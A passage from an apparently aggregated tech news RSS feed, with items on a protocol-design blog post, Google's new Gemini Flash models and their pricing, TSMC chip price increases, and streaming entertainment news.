finding is technically related to an <a href="https://appleinsider.com/articles/26/07/01/apple-hasnt-fixed-a-hide-my-email-privacy-bug-in-over-a-year">earlier flaw</a> that could reveal the address behind a Hide My Email alias. His report documents a separate technique and doesn't establish that both issues share the same underlying cause.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/a-fake-hide-my-email-header-can-expose-the-address-behind-your-apple-account?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245015?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Martin Thompson: Why in Building Protocols, Like Code, Starting Over Is Dumb]]></title>
<description><![CDATA[Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.
This is somewhere between a pretty bad idea
and a horrible idea.
The wholesal...]]></description>
<link>https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/</guid>
<pubDate>Tue, 21 Jul 2026 22:58:58 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, the IETF held the CURRENT BoF,
where the goal was to develop a new protocol.
That protocol would be substantially like TLS,
reusing its record layer and basic structure,
but it would drop in MLS for key exchange.</p>
<p>This is somewhere between a pretty bad idea
and a horrible idea.</p>
<p>The wholesale replacement of a huge chunk of protocol architectures
is a hallmark of a lot of the AI-generated protocol proposals
that have flooded the IETF.
A small blemish is identified,
then the fix is a whole new protocol,
or a major piece of surgery.
No regard for the wisdom of Chesterton’s Fence
or the accumulated knowledge and usefulness embodied in what exists.</p>
<p>Experienced engineers know that rewriting a code module
is not something you do lightly.
There’s lots of literature out there about why this is a bad idea generally,
and some emerging discussion about how AI might just change that.</p>
<p>The reasons not to rewrite a software component still largely apply
to a protocol component.
The reasons that AI might make it easier to do that safely, less so.
Protocols are different.</p>
<h3>Wholesale Change Will Miss Use Cases</h3>
<p>Just like with a code change,
a protocol component that changes will miss use cases
that people really care about.</p>
<p>The usual concerns with code apply:</p>
<ul>
<li>The existing features you know about and can test for
can be handled.</li>
<li>The existing problems you know and care about can be fixed.</li>
<li>You inevitably introduce brand-new problems.</li>
<li>The existing features you don’t know about
get lost.</li>
</ul>
<p>Unlike code changes, you probably don’t have a test case
for existing features that you didn’t know about.
We found that with HTTP/2,
where a number of use cases got lost in the process
of “upgrading” HTTP.</p>
<p>In HTTP/1.1,
performing client authentication
in the middle of request was possible.
Losing that capability in HTTP/2
affected few enough people
that it was not badly damaging for the ecosystem.
It still sucked.</p>
<p>A lot of work was done to try to find these issues,
but we did not learn about these problems until fairly late in the process.</p>
<p>Proposing a protocol change means asking a whole lot of other people,
many of whom are not invested in your goals,
to do that work.</p>
<p>Changing a protocol by replacing a chunk of it,
no matter how much care is taken,
either asks the entire ecosystem to change with you.</p>
<p>That means asking everyone to move with you.
If they don’t, you are not changing the protocol,
you are forking it.</p>
<h3>Forking A Protocol Destroys Interoperability</h3>
<p>The real value of having a protocol like TLS
is that a great many things can all talk to each other.</p>
<p>Forking a protocol –
and sometimes profiling a protocol, a subject for another post –
destroys that.
You now have two ways to achieve the same goal,
and a choice to join one of two clubs.
You can join both, but that means constantly translating back and forth,
something that can only get harder over time
as protocol semantics diverge.</p>
<p>And yes, in case you were asking,
this applies to the entirety of the IETF IoT sphere,
which has parallel HTTP, TLS, and other analogues.
Ostensibly, these address the needs of highly constrained hardware,
but the cost is an ecosystem cut off from the mainstream.</p>
<h3>But Fixing Protocols Is Hard</h3>
<p>Yes, existing protocols come with baggage
or technical debt.
Maybe they aren’t perfectly optimized for your use.</p>
<p>The value that an existing protocol carries
is that you are sharing the burden of its maintenance
with a great many more people.
Fixing it, maybe by adding extensions to support your needs,
comes with opportunities to improve the protocol
even beyond that immediate need.
Every change is a chance to work off some of the accumulated cruft.</p>
<p>Major refreshes, like the TLS 1.3 reworking,
cleared out a ton of cruft in the process.
You get to benefit from the work that others do to improve that protocol too.</p>
<h3>Do the Work</h3>
<p>It is hard to be a responsible steward for the fabric of the Internet.
We do it because it is worthwhile.
Ignoring the lessons of the past is not helpful.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's Gemini Flash 5.6 model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684788/it-nachrichten/googles-gemini-flash-56-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 22:56:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark. </p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its Project Glasswing program, and continued by OpenAI with its staggered rollout for GPT-5.6. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, </p><p>the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Product Prices Could Rise Again as TSMC Plans Higher Chip Costs]]></title>
<description><![CDATA[Apple customers may face another round of price increases after TSMC reportedly decided to raise chipmaking prices from 2027. Apple has already increased prices across several product categories because of higher memory and storage costs, while analysts also expect new iPhone models to cost more ...]]></description>
<link>https://tsecurity.de/de/3684639/ios-mac-os/apple-product-prices-could-rise-again-as-tsmc-plans-higher-chip-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684639/ios-mac-os/apple-product-prices-could-rise-again-as-tsmc-plans-higher-chip-costs/</guid>
<pubDate>Tue, 21 Jul 2026 20:47:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple customers may face another round of price increases after TSMC reportedly decided to raise chipmaking prices from 2027. Apple has already increased prices across several product categories because of higher memory and storage costs, while analysts also expect new iPhone models to cost more when they launch in September.



The company recently raised prices on several products and upgrade options, with some increases exceeding 50%. In a few cases, memory and storage upgrades doubled in price, which made higher-end configurations much more expensive for customers.



Apple said it was working to reduce the impact of rising component costs, although many customers expect the new prices to remain permanent. Higher prices also appear likely to affect buying habits, as some users plan to keep their devices longer or choose lower storage options.



TSMC Plans Chipmaking Price Increases



Nikkei Asia reports that TSMC plans to increase prices for advanced and mature chip production services by between 5% and 10% in 2027. The company reportedly wants to cover higher costs linked to materials, manufacturing equipment, and the construction of new factories outside Taiwan.



The report also claims that TSMC may charge customers an additional premium of up to 15% when they increase orders beyond their original forecasts. Apple could face this extra cost when demand for a new iPhone, Mac, or iPad exceeds its initial production estimates.



TSMC reportedly completed pricing negotiations with several major customers, although the company declined to discuss specific details. Apple relies heavily on TSMC to manufacture chips for the iPhone, Mac, iPad, Apple Watch, and several other products.



Higher chipmaking costs would add more pressure to Apple’s hardware pricing at a time when memory costs have already pushed prices upward. Apple may absorb part of the increase, reduce margins, or pass more of the cost to customers through higher device prices and more expensive upgrade options.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘SEAL Team’ Confirms Netflix Release Date, Multiple Seasons Arrive This August]]></title>
<description><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than o...]]></description>
<link>https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684521/ios-mac-os/seal-team-confirms-netflix-release-date-multiple-seasons-arrive-this-august/</guid>
<pubDate>Tue, 21 Jul 2026 19:49:34 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SEAL Team is officially heading to Netflix in the United States, with multiple seasons scheduled to arrive on August 18, 2026. The release gives military drama fans a major new series to watch before summer ends.



How Many Seasons Are Coming to Netflix?



Netflix has confirmed that more than one season will become available, although the exact number has not been announced. The show has seven completed seasons, so Netflix has a large collection of episodes to choose from.



More information could arrive when Netflix publishes its full August 2026 release schedule. For now, viewers can expect at least two seasons when the series joins the service.



The Netflix release forms part of a licensing agreement involving several Paramount-owned shows. It follows other licensed dramas that have recently expanded beyond their original streaming homes.



What Is ‘SEAL Team’ About?



SEAL Team follows Bravo Team, an elite unit of United States Navy SEALs that handles dangerous missions around the world. The story covers mission planning, combat operations, family pressures and the lasting effects of military service.



David Boreanaz leads the cast as Jason Hayes, the experienced leader of Bravo Team. The main cast also includes Max Thieriot, Neil Brown Jr., A.J. Buckley, Toni Trucks and Jessica Paré.



The series first premiered on CBS in September 2017. It remained on broadcast television for its first four seasons before moving to Paramount+ during Season 5.



That move allowed the series to feature more mature storytelling, stronger language and darker mission-related themes. It eventually ended with its seventh and final season in October 2024. The complete series includes 114 episodes.



Is This the Animated ‘Seal Team’ Movie?



The incoming title is the live-action military drama starring David Boreanaz. It is separate from Netflix’s animated 2021 movie Seal Team, which follows a group of seals fighting sharks.



Multiple seasons of SEAL Team will begin streaming on Netflix US on August 18, 2026, giving existing fans another place to revisit Bravo Team’s missions while introducing the finished series to a wider audience.]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD CTO: Europe’s AI opportunity lies beyond semiconductor manufacturing]]></title>
<description><![CDATA[Mark Papermaster says Europe’s commitment to interoperability and diversity of supply could become a strategic advantage as AI infrastructure grows more heterogeneous]]></description>
<link>https://tsecurity.de/de/3684406/it-nachrichten/amd-cto-europes-ai-opportunity-lies-beyond-semiconductor-manufacturing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684406/it-nachrichten/amd-cto-europes-ai-opportunity-lies-beyond-semiconductor-manufacturing/</guid>
<pubDate>Tue, 21 Jul 2026 18:48:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mark Papermaster says Europe’s commitment to interoperability and diversity of supply could become a strategic advantage as AI infrastructure grows more heterogeneous]]></content:encoded>
</item>
<item>
<title><![CDATA[Little House on the Prairie season 3 and beyond would be a 'dream come true' for one Netflix star — and we can even guess season storylines way before they're renewed]]></title>
<description><![CDATA[With season 2 currently in production, Netflix has yet to make a call on Little House on the Prairie season 3 and beyond. But with so much source material, one star says it would be a 'dream come true'.]]></description>
<link>https://tsecurity.de/de/3684330/it-nachrichten/little-house-on-the-prairie-season-3-and-beyond-would-be-a-dream-come-true-for-one-netflix-star-and-we-can-even-guess-season-storylines-way-before-theyre-renewed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684330/it-nachrichten/little-house-on-the-prairie-season-3-and-beyond-would-be-a-dream-come-true-for-one-netflix-star-and-we-can-even-guess-season-storylines-way-before-theyre-renewed/</guid>
<pubDate>Tue, 21 Jul 2026 18:17:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[With season 2 currently in production, Netflix has yet to make a call on Little House on the Prairie season 3 and beyond. But with so much source material, one star says it would be a 'dream come true'.]]></content:encoded>
</item>
<item>
<title><![CDATA[Alan Ritchson’s Netflix Sequel Officially Revealed as War Machines]]></title>
<description><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in ...]]></description>
<link>https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684264/ios-mac-os/alan-ritchsons-netflix-sequel-officially-revealed-as-war-machines/</guid>
<pubDate>Tue, 21 Jul 2026 17:59:52 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Alan Ritchson’s hit Netflix sci-fi movie War Machine is officially moving toward a sequel, and the follow-up now has a title. The second movie will be called War Machines, adding one important letter that hints at a much larger threat.



War Machines Title Confirmed







The title appeared in a social media post featuring a black-and-white photograph of the sequel’s script. The image slowly focused on the final “S,” confirming that the new movie will expand beyond the single alien machine featured in the original story.



The name follows a familiar sci-fi sequel pattern, similar to how Alien became Aliens. It also suggests that Ritchson’s character, Staff Sergeant 81, will face several deadly machines when the story continues.



Patrick Hughes and James Beaufort are writing the sequel. Hughes previously directed and co-wrote the first movie, which followed a group of Army Ranger candidates fighting a powerful alien machine during a training exercise.



Alan Ritchson Celebrates the Sequel



Ritchson previously thanked viewers for supporting War Machine and confirmed that he was preparing to return as 81. He described the first movie as the beginning of a much bigger world and suggested that the sequel would raise the scale considerably.



The sequel remains in development, and Netflix has not announced a filming date, full cast list, plot summary, or release date. Production listings indicate that the project will once again involve companies connected to the first film, including Lionsgate and Patrick Hughes’ production partners.



War Machine Was a Huge Netflix Hit



War Machine arrived on Netflix on March 6, 2026, and became the platform’s most-watched film during the first half of the year. It recorded 146.9 million views, finishing ahead of other major Netflix releases.



With the official War Machines title now revealed, more production and casting updates should follow as the sequel moves closer to filming.]]></content:encoded>
</item>
<item>
<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
